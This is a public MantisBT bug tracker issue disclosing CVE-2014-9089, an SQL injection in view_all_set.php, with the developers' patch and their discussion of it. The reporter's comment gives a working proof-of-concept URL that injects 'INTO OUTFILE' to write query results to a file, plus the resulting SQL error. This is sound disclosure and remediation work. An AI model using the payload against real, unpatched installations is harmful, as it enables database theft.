View Issue Details

IDProjectCategoryView StatusLast Update
0017841mantisbtsecuritypublic2014-12-22 08:22
Reporteredwingozeling Assigned Tovboctor  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version1.2.17 
Target Version1.2.18Fixed in Version1.2.18 
Summary0017841: CVE-2014-9089: SQL injection in view_all_set.php
Description

Both the 'sort' and 'dir' parameters to view_all_set.php are validated insufficiently before they are used in queries by view_all_bug_page.php.

Both parameters are split into chunks on ','. After splitting, only the first two values are validated. By supplying a third value, SQL injection can be performed.

Steps To Reproduce

Browse to /view_all_set.php?sort=id,status,severity'&dir=ASC,ASC,ASC&type=2 on a Mantis BugTracker installation.

A redirect towards view_all_bug_page.php occurs, on which an SQL error will be displayed.
As the injection is placed within the ORDER BY clause, and the name of mantis_bug_table is placed before each chunk, conditional statements cannot be introduced. It is however possible to add INTO OUTFILE. Depending on the database driver, stacked queries may also be possible.

Additional Information

Please note the ' after mantis_bug_table.order in the following error message.

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' DESC, mantis_bug_table.last_updated DESC, mantis_bug_table.date_submitted DESC' at line 1 voor de zoekopdracht: SELECT DISTINCT mantis_bug_table.* FROM mantis_bug_table JOIN mantis_project_table ON mantis_project_table.id = mantis_bug_table.project_id WHERE mantis_project_table.enabled = ? AND ( mantis_bug_table.project_id = 1 ) ORDER BY mantis_bug_table.id DESC, mantis_bug_table.severity DESC, mantis_bug_table.order' DESC, mantis_bug_table.last_updated DESC, mantis_bug_table.date_submitted DESC

TagsNo tags attached.

Activities

dregad

dregad

2014-11-06 09:44

developer   ~0041773

Thanks for the bug report. I'll investigate and get back to you.

If you have already reserved a CVE for this, please let us know the ID.

edwingozeling

edwingozeling

2014-11-06 10:16

reporter   ~0041774

You are welcome, I have not reserved a CVE for this.

A POC: access the following URL:
view_all_set.php?sort=id,severity,status+DESC+INTO+OUTFILE+%27/tmp/sql_dump.txt%27+--&dir=ASC,ASC,ASC&type=2

While you get an error message, the file '/tmp/sql_dump.txt' will still be created and contains the query results. (results may vary based on OS and privileges of the MySQL-account)

vboctor

vboctor

2014-11-24 23:56

manager  

0001-Improve-validation-for-filter-sort-and-direction.patch (1,163 bytes)   
From a8fb502cbd69b2805405349f4ad21bde49bf1e5c Mon Sep 17 00:00:00 2001
From: Victor Boctor <victor@mantishub.net>
Date: Mon, 24 Nov 2014 20:54:51 -0800
Subject: [PATCH] Improve validation for filter sort and direction

Fixes #17841
---
 core/filter_api.php | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/core/filter_api.php b/core/filter_api.php
index 7ec33d7..0667996 100644
--- a/core/filter_api.php
+++ b/core/filter_api.php
@@ -606,8 +606,20 @@ function filter_ensure_valid_filter( $p_filter_arr ) {
 			unset( $t_fields[$i] );
 		}
 	}
+
+	# Make sure array is no longer than 2 elements
 	$t_sort_fields = explode( ',', $p_filter_arr['sort'] );
+	if( count( $t_sort_fields ) > 2 ) {
+		$t_sort_fields = array_slice( $t_sort_fields, 0, 2 );
+	}
+
+	# Make sure array is no longer than 2 elements
 	$t_dir_fields = explode( ',', $p_filter_arr['dir'] );
+	if( count( $t_dir_fields ) > 2 ) {
+		$t_dir_fields = array_slice( $t_dir_fields, 0, 2 );
+	}
+
+	# Validate the max of two segments for $t_sort_fields and $t_dir_fields
 	for( $i = 0;$i < 2;$i++ ) {
 		if( isset( $t_sort_fields[$i] ) ) {
 			$t_drop = false;
-- 
1.9.3 (Apple Git-50)

vboctor

vboctor

2014-11-24 23:58

manager   ~0041899

I've attached a patch [1] that does the validation as part of filter_ensure_valid_filter() API and hence it will handle new injections as well as already saved ones.

[1] 0001-Improve-validation-for-filter-sort-and-direction.patch

edwingozeling

edwingozeling

2014-11-25 03:13

reporter   ~0041900

Seems like a proper solution. One question, what is the added bennefit of the following line?

if( count( $t_sort_fields ) > 2 ) {

If I'm correct, just performing array_slice() would yield the same effect.

vboctor

vboctor

2014-11-25 10:16

manager   ~0041901

The array_slice() documentation doesn't indicate that it can slice larger than the array size. The code also doesn't always get an array of two or more from memory. So it is defensive programming.

edwingozeling

edwingozeling

2014-11-25 10:26

reporter   ~0041902

While I'm all for defensive programming, the documentation does specify it can handle shorter arrays:
From http://php.net/array_slice
"If the array is shorter than the length, then only the available array elements will be present."

Anyway, good job on the patch, I hope to see it released soon.

dregad

dregad

2014-11-25 18:16

developer   ~0041917

CVE request sent http://thread.gmane.org/gmane.comp.security.oss.general/14884

Related Changesets

MantisBT: master-1.2.x b0021673

2014-11-24 23:54:51

vboctor


Committer: dregad Details Diff
Improve validation for filter sort and direction

Fixes 0017841
Affected Issues
0017841
mod - core/filter_api.php Diff File

MantisBT: master ac817e3f

2014-11-24 23:54:51

vboctor


Committer: dregad Details Diff
Improve validation for filter sort and direction

Fixes 0017841
Affected Issues
0017841
mod - core/filter_api.php Diff File

Issue History

Date Modified Username Field Change
2014-11-06 07:56 edwingozeling New Issue
2014-11-06 09:44 dregad Note Added: 0041773
2014-11-06 09:44 dregad Status new => acknowledged
2014-11-06 09:44 dregad Target Version => 1.2.18
2014-11-06 09:44 dregad Additional Information Updated View Revisions
2014-11-06 10:16 edwingozeling Note Added: 0041774
2014-11-24 23:56 vboctor File Added: 0001-Improve-validation-for-filter-sort-and-direction.patch
2014-11-24 23:58 vboctor Assigned To => vboctor
2014-11-24 23:58 vboctor Status acknowledged => assigned
2014-11-24 23:58 vboctor Note Added: 0041899
2014-11-25 03:13 edwingozeling Note Added: 0041900
2014-11-25 10:16 vboctor Note Added: 0041901
2014-11-25 10:26 edwingozeling Note Added: 0041902
2014-11-25 18:11 dregad Changeset attached => MantisBT master-1.2.x b0021673
2014-11-25 18:11 dregad Assigned To vboctor => dregad
2014-11-25 18:11 dregad Status assigned => resolved
2014-11-25 18:11 dregad Resolution open => fixed
2014-11-25 18:11 dregad Fixed in Version => 1.2.18
2014-11-25 18:11 dregad Changeset attached => MantisBT master ac817e3f
2014-11-25 18:16 dregad View Status private => public
2014-11-25 18:16 dregad Note Added: 0041917
2014-11-26 07:54 dregad Summary SQL-injection in /view_all_set.php and/or core/filter_api.php => CVE-2014-9089: SQL injection in view_all_set.php
2014-11-26 14:26 vboctor Assigned To dregad => vboctor
2014-12-05 18:33 dregadmin Status resolved => closed